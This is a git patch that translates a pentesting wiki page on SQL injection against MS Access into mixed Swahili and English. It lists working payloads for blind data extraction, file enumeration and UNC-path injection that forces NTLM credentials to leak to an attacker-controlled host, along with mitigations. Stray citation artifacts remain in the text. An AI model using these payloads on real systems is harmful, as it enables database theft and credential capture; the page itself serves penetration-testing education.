From 2c6934f0c98b2e2d195c95c3143fc58cddcbcc5d Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 11 Jul 2025 10:08:14 +0000 Subject: [PATCH] Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md --- .../sql-injection/ms-access-sql-injection.md | 99 +++++++++++++------ 1 file changed, 71 insertions(+), 28 deletions(-) diff --git a/src/pentesting-web/sql-injection/ms-access-sql-injection.md b/src/pentesting-web/sql-injection/ms-access-sql-injection.md index 41c972e70..9a20d65fe 100644 --- a/src/pentesting-web/sql-injection/ms-access-sql-injection.md +++ b/src/pentesting-web/sql-injection/ms-access-sql-injection.md @@ -4,7 +4,7 @@ ## Online Playground -- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1) +- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1) ## DB Limitations @@ -17,7 +17,7 @@ Kuunganisha nyuzi kunawezekana kwa kutumia wahusika `& (%26)` na `+ (%2b)`. ``` ### Maoni -Hakuna maoni katika MS access, lakini inaonekana inawezekana kuondoa ya mwisho ya uchunguzi kwa kutumia herufi ya NULL: +Hakuna maoni katika MS access, lakini inaonekana inawezekana kuondoa ya mwisho ya swali kwa kutumia herufi ya NULL: ```sql 1' union select 1,2 from table%00 ``` @@ -27,7 +27,7 @@ Ikiwa hii haifanyi kazi unaweza kila wakati kurekebisha sintaksia ya ombi: ``` ### Stacked Queries -Haziruhusishwa. +Hazirishiwi. ### LIMIT @@ -35,11 +35,11 @@ Mwandiko wa **`LIMIT`** **haujawekwa**. Hata hivyo, inawezekana kupunguza matoke ```sql 1' UNION SELECT TOP 3 attr FROM table%00 ``` -Kama TOP unaweza kutumia **`LAST`** ambayo itapata **safu kutoka mwisho**. +Kama TOP, unaweza kutumia **`LAST`** ambayo itapata **safu kutoka mwisho**. ## UNION Queries/Sub queries -Katika SQLi kwa kawaida utataka kwa namna fulani kutekeleza uchunguzi mpya ili kutoa taarifa kutoka kwa meza nyingine. MS Access kila wakati inahitaji kwamba katika **subqueries au uchunguzi wa ziada `FROM` inapaswa kuonyeshwa**.\ +Katika SQLi, kwa kawaida utataka kwa namna fulani kutekeleza uchunguzi mpya ili kutoa taarifa kutoka kwa meza nyingine. MS Access kila wakati inahitaji kwamba katika **subqueries au uchunguzi wa ziada `FROM` iwe imeonyeshwa**.\ Hivyo, ikiwa unataka kutekeleza `UNION SELECT` au `UNION ALL SELECT` au `SELECT` kati ya mabano katika hali, kila wakati **unahitaji kuonyesha `FROM` na jina halali la meza**.\ Kwa hivyo, unahitaji kujua **jina halali la meza**. ```sql @@ -64,7 +64,7 @@ _Feel free to check this in the online playground._ ### Brute-forcing Majina ya Meza -Kwa kutumia mbinu ya kuunganisha sawa unaweza pia **bruteforce majina ya meza** na kitu kama: +Using the chaining equals technique you can also **bruteforce table names** with something like: ```sql '=(select+top+1+'lala'+from+)=' ``` @@ -79,7 +79,7 @@ _Feel free to check this in the online playground._ ### Brute-Forcing Majina ya Safu -You can **brute-force current columns names** with the chaining equals trick with: +Unaweza **kujaribu majina ya safu za sasa** kwa kutumia hila ya kuunganisha sawa na: ```sql '=column_name=' ``` @@ -95,28 +95,38 @@ Au unaweza kutumia brute-force majina ya safu za **meza tofauti** na: ``` ### Dumping data -Tumesha jadili [**mbinu ya kuunganisha sawa**](ms-access-sql-injection.md#chaining-equals-+-substring) **kutoa data kutoka kwa meza za sasa na nyingine**. Lakini kuna njia nyingine: +Tumesha jadili [**mbinu ya kuunganisha sawa**](ms-access-sql-injection.md#chaining-equals-+-substring) **kutoa data kutoka kwa jedwali la sasa na mengineyo**. Lakini kuna njia nyingine: ```sql IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko') ``` -Kwa kifupi, ombi linatumia taarifa ya "ikiwa-kisha" ili kuanzisha "200 OK" katika kesi ya mafanikio au "500 Internal Error" vinginevyo. Kwa kutumia opereta TOP 10, inawezekana kuchagua matokeo kumi ya kwanza. Matumizi yanayofuata ya LAST yanaruhusu kuzingatia tuple ya 10 tu. Kwenye thamani hiyo, kwa kutumia opereta MID, inawezekana kufanya kulinganisha kwa wahusika rahisi. Kwa kubadilisha ipasavyo index ya MID na TOP, tunaweza kutoa maudhui ya uwanja wa "username" kwa safu zote. +Kwa kifupi, ombi linatumia taarifa ya "ikiwa-kisha" ili kuanzisha "200 OK" katika kesi ya mafanikio au "500 Internal Error" vinginevyo. Kwa kutumia opereta TOP 10, inawezekana kuchagua matokeo kumi ya kwanza. Matumizi yanayofuata ya LAST yanaruhusu kuzingatia tuple ya 10 tu. Kwenye thamani hiyo, kwa kutumia opereta MID, inawezekana kufanya kulinganisha rahisi la herufi. Kwa kubadilisha ipasavyo index ya MID na TOP, tunaweza kutoa maudhui ya uwanja wa "username" kwa safu zote. -### Muda Iliyotegemea +### Hila za Muda (Kipofu) -Angalia [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN]() +Jet/ACE SQL yenyewe **haitoi** kazi asilia ya `SLEEP()` au `WAITFOR`, hivyo sindano za kipofu za muda za jadi zimepunguzwa. Hata hivyo, bado unaweza kuanzisha kuchelewesha kunakoweza kupimwa kwa kulazimisha injini kufikia **rasilimali ya mtandao ambayo ni polepole au haina jibu**. Kwa sababu injini itajaribu kufungua faili kabla ya kurudisha matokeo, muda wa majibu ya HTTP unaakisi ucheleweshaji wa mzunguko kwa mwenyeji anayodhibitiwa na mshambuliaji. +```sql +' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'-- +``` +Point the UNC path to: -### Kazi Nyingine za Kuvutia +* a SMB share behind a high-latency link +* a host that drops the TCP handshake after `SYN-ACK` +* a firewall sinkhole -- `Mid('admin',1,1)` pata sehemu ya neno kutoka nafasi 1 urefu 1 (nafasi ya mwanzo ni 1) -- `LEN('1234')` pata urefu wa mfuatano -- `ASC('A')` pata thamani ya ascii ya wahusika -- `CHR(65)` pata mfuatano kutoka thamani ya ascii -- `IIF(1=1,'a','b')` ikiwa kisha +The extra seconds introduced by the remote lookup can be used as an **out-of-band timing oracle** for boolean conditions (e.g. pick a slow path only when the injected predicate is true). Microsoft documents the remote database behaviour and the associated registry kill-switch in KB5002984. citeturn1search0 + +### Other Interesting functions + +- `Mid('admin',1,1)` pata substring kutoka nafasi 1 urefu 1 (nafasi ya awali ni 1) +- `LEN('1234')` pata urefu wa string +- `ASC('A')` pata thamani ya ascii ya char +- `CHR(65)` pata string kutoka thamani ya ascii +- `IIF(1=1,'a','b')` kama kisha - `COUNT(*)` Hesabu idadi ya vitu -## Kuorodhesha meza +## Enumerating tables -Kutoka [**hapa**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) unaweza kuona ombi la kupata majina ya meza: +From [**here**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) you can see a query to get tables names: ```sql select MSysObjects.name from MSysObjects @@ -126,7 +136,7 @@ and MSysObjects.name not like '~*' and MSysObjects.name not like 'MSys*' order by MSysObjects.name ``` -Hata hivyo, kumbuka kwamba ni kawaida kupata SQL Injections ambapo **huna ufaccess wa kusoma jedwali `MSysObjects`**. +Hata hivyo, kumbuka kwamba ni kawaida kupata SQL Injections ambapo **huna uf access wa kusoma jedwali `MSysObjects`**. ## Ufikiaji wa Faili @@ -134,34 +144,67 @@ Hata hivyo, kumbuka kwamba ni kawaida kupata SQL Injections ambapo **huna ufacce Ujuzi wa **njia kamili ya msingi wa mtandao unaweza kusaidia mashambulizi zaidi**. Ikiwa makosa ya programu hayajafichwa kabisa, njia ya katalogi inaweza kufichuliwa kwa kujaribu kuchagua data kutoka kwa hifadhidata isiyokuwepo. -`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` +`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` MS Access inajibu kwa **ujumbe wa kosa unaoonyesha njia kamili ya katalogi ya wavuti**. ### Uhesabuji wa Faili -Vector ifuatayo ya shambulio inaweza kutumika **kujua uwepo wa faili kwenye mfumo wa mbali**. Ikiwa faili iliyotajwa ipo, MS Access inasababisha ujumbe wa kosa ukisema kwamba muundo wa hifadhidata si sahihi: +Kipengele kinachofuata kinaweza kutumika **kujua uwepo wa faili kwenye mfumo wa mbali wa faili**. Ikiwa faili iliyoainishwa ipo, MS Access inasababisha ujumbe wa kosa ukisema kwamba muundo wa hifadhidata si sahihi: `http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00` -Njia nyingine ya kuhesabu faili inajumuisha **kueleza kipengee cha database.table**. **Ikiwa** faili iliyotajwa **ipo**, MS Access inaonyesha **ujumbe wa kosa la muundo wa hifadhidata**. +Njia nyingine ya kuhesabu faili inajumuisha **kuainisha kipengele cha hifadhidata.jedwali**. **Ikiwa** faili iliyoainishwa **ipo**, MS Access inaonyesha **ujumbe wa kosa la muundo wa hifadhidata**. `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00` -### Kukisia Jina la Faili .mdb +### Kukisia Jina la Faili la .mdb **Jina la faili la hifadhidata (.mdb)** linaweza kufahamika kwa kutumia ombi lifuatalo: `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00` -Ambapo **name\[i] ni jina la faili la .mdb** na **realTable ni jedwali lililopo** ndani ya hifadhidata. Ingawa MS Access daima itasababisha ujumbe wa kosa, inawezekana kutofautisha kati ya jina la faili lisilo sahihi na jina la faili la .mdb lililo sahihi. +Ambapo **name[i] ni jina la faili la .mdb** na **realTable ni jedwali lililopo** ndani ya hifadhidata. Ingawa MS Access daima itasababisha ujumbe wa kosa, inawezekana kutofautisha kati ya jina la faili lisilo sahihi na jina la faili la .mdb linalofaa. -### Kivunja Nenosiri la .mdb +### Ufikiaji wa Hifadhidata ya Mbali & Wizi wa Akreditivu za NTLM (2023) -[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) ni zana ya bure inayoweza kutumika kurejesha nenosiri kuu la hifadhidata ya Microsoft Access 95/97/2000/XP au Jet Database Engine 3.0/4.0. +Tangu Jet 4.0 kila ombi linaweza kurejelea jedwali lililoko kwenye faili *tofauti* ya `.mdb/.accdb` kupitia kipengele cha `IN ''`: +```sql +SELECT first_name FROM Employees IN '\\server\share\hr.accdb'; +``` +Ikiwa ingizo la mtumiaji limeunganishwa katika sehemu baada ya **IN** (au katika `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` call) mshambuliaji anaweza kubaini **UNC path** inayorejelea mwenyeji anayedhibiti. Injini itafanya: -## Marejeleo +1. kujaribu kuthibitisha kupitia SMB / HTTP kufungua hifadhidata ya mbali; +2. kuvuja **NTLM credentials** za seva ya wavuti (uthibitishaji wa kulazimishwa); +3. kuchambua faili ya mbali – hifadhidata isiyo sahihi au mbaya inaweza kusababisha makosa ya kuharibu kumbukumbu ya Jet/ACE ambayo yamefanyiwa marekebisho mara kadhaa (mfano CVE-2021-28455). + +Mfano wa majaribio ya kuingiza: +```sql +1' UNION SELECT TOP 1 name +FROM MSysObjects +IN '\\attacker\share\poc.mdb'-- - +``` +Impact: + +* Uhamasishaji wa Net-NTLMv2 hashes (zinazoweza kutumika kwa relay au offline cracking). +* Utekelezaji wa msimbo wa mbali unaweza kutokea ikiwa hitilafu mpya ya Jet/ACE parser itatumika. + +Mitigations (zinapendekezwa hata kwa programu za zamani za Classic ASP): + +* Ongeza thamani ya rejista `AllowQueryRemoteTables = 0` chini ya `HKLM\Software\Microsoft\Jet\4.0\Engines` (na chini ya njia sawa ya ACE). Hii inalazimisha Jet/ACE kukataa njia za mbali zinazooanza na `\\`. +* Zuia SMB/WebDAV zinazotoka kwenye mpaka wa mtandao. +* Safisha / weka vigezo sehemu yoyote ya query ambayo inaweza kuishia ndani ya kipande cha `IN`. + +Vector ya uthibitishaji wa kulazimishwa ilirejelewa na Check Point Research mnamo 2023, ikithibitisha kuwa bado inaweza kutumika kwenye Windows Server iliyosasishwa kikamilifu wakati funguo ya rejista haipo. citeturn0search0 + +### .mdb Password Cracker + +[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) ni chombo cha bure ambacho kinaweza kutumika kurejesha nenosiri kuu la database ya Microsoft Access 95/97/2000/XP au Jet Database Engine 3.0/4.0. + +## References - [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) +- [Microsoft KB5002984 – Configuring Jet/ACE to block remote tables](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544) +- [Check Point Research – Abusing Microsoft Access Linked Tables for NTLM Forced Authentication (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/) {{#include ../../banners/hacktricks-training.md}}